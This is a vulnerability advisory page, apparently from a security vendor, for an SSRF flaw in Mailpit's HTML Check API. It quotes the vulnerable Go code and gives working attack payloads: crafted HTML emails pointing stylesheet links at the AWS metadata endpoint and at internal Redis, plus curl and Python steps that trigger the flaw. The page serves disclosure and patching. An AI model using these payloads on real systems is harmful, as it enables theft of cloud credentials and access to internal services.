Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-6jxm-fv7w-rw5j

MEDIUM

Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API

Also known asCVE-2026-23845GO-2026-4345
Published
Jan 21, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk31th percentile+0.37%
0.00%0.30%0.60%0.90%0.0%0.4%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/axllent/mailpit

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Server-Side Request Forgery (SSRF) via HTML Check CSS Download

The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.

Affected Components

  • Primary File: internal/htmlcheck/css.go (lines 132-207)
  • API Endpoint: /api/v1/message/{ID}/html-check
  • Handler: server/apiv1/other.go (lines 38-75)
  • Vulnerable Functions:
    • inlineRemoteCSS() - line 132
    • downloadToBytes() - line 193
    • isURL() - line 221

Technical Details

1. Insufficient URL Validation (isURL() function):

// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
    u, err := url.Parse(str)
    return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}

2. Unrestricted Download (downloadToBytes() function):

// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
    client := http.Client{
        Timeout: 5 * time.Second,
    }

    // Get the link response data
    resp, err := client.Get(url)  // ⚠️ VULNERABLE - No IP validation
    if err != nil {
        return nil, err
    }
    defer func() { _ = resp.Body.Close() }()

    if resp.StatusCode != 200 {
        err := fmt.Errorf("error downloading %s", url)
        return nil, err
    }

    body, err := io.ReadAll(resp.Body)  // ⚠️ Downloads ENTIRE response
    if err != nil {
        return nil, err
    }

    return body, nil
}

3. Automatic CSS Processing:

// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
    reader := strings.NewReader(h)
    doc, err := goquery.NewDocumentFromReader(reader)
    if err != nil {
        return h, err
    }

    remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
    for _, link := range remoteCSS {
        attributes := link.Attr
        for _, a := range attributes {
            if a.Key == "href" {
                if !isURL(a.Val) {  // ⚠️ Insufficient validation
                    continue
                }

                if config.BlockRemoteCSSAndFonts {
                    logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
                    return h, nil
                }

                resp, err := downloadToBytes(a.Val)  // ⚠️ Downloads from ANY URL
                if err != nil {
                    logger.Log().Warnf("[html-check] failed to download %s", a.Val)
                    continue
                }

                // Inlines the downloaded CSS
                styleBlock := &html.Node{
                    Type:     html.ElementNode,
                    Data:     "style",
                    DataAtom: atom.Style,
                }
                styleBlock.AppendChild(&html.Node{
                    Type: html.TextNode,
                    Data: string(resp),  // Downloaded content inserted
                })
                link.Parent.AppendChild(styleBlock)
            }
        }
    }
    
    return doc.Html()
}

Attack Vectors

Attack Vector 1: Cloud Metadata Credential Theft

Attacker sends HTML email with:

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>

When HTML check is triggered:

  1. Mailpit makes GET request to AWS metadata endpoint
  2. Downloads IAM credentials as "CSS content"
  3. Credentials logged or potentially leaked via error messages

Proof of Concept

A complete working exploit is provided in ssrf_htmlcheck_poc.py.

PoC Usage:

# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025

# Run the exploit
python3 ssrf_htmlcheck_poc.py

PoC Workflow:

  1. Starts SSRF listener on port 8888 to detect callbacks
  2. Sends malicious HTML emails containing:
    <link rel="stylesheet" href="http://localhost:8888/malicious.css">
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
    <link rel="stylesheet" href="http://127.0.0.1:6379/">
    
  3. Triggers HTML check via API: GET /api/v1/message/{ID}/html-check
  4. Monitors callbacks and analyzes responses
  5. Demonstrates exploitation of:
    • Local listener (proves SSRF)
    • Cloud metadata endpoints
    • Internal services (Redis, etc.)
    • Private network ranges

Expected Output:

╔══════════════════════════════════════════════════════════════════════════════╗
║  Mailpit SSRF PoC - HTML Check CSS Download Vulnerability                   ║
║  Severity: MODERATE                                                              ║
║  File: internal/htmlcheck/css.go:193-207                                    ║
╚══════════════════════════════════════════════════════════════════════════════╝

[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...

================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)

[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -

[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
    Path: /malicious.css
    User-Agent: Mailpit/dev

================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================

⚠️  Note: These may timeout or fail, but Mailpit WILL attempt the connection

[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow

Manual Testing:

# 1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL
import smtplib
from email.mime.text import MIMEText

html = '''
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
</head>
<body>Test</body>
</html>
'''

msg = MIMEText(html, 'html')
msg['Subject'] = 'SSRF Test'
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'

with smtplib.SMTP('localhost', 1025) as smtp:
    smtp.send_message(msg)
SENDMAIL
EOF

# 2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')

# 3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/axllent/mailpitall versions1.28.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/axllent/mailpit to 1.28.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jxm-fv7w-rw5j is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6jxm-fv7w-rw5j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6jxm-fv7w-rw5j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Server-Side Request Forgery (SSRF) via HTML Check CSS Download The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. #### Affected Components - **Primary File:** `internal/htmlcheck/css.go` (lines 132-207) - **API Endpoint:** `/api/v1/message/{ID}/html-check` - **Handler:** `server/apiv1/other.go` (lines 38-75) - **Vulnerable Functions:** - `inlineRemoteCS
O3 Security · Impact-Aware SCA

Is GHSA-6jxm-fv7w-rw5j in your dependencies?

O3 detects GHSA-6jxm-fv7w-rw5j across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.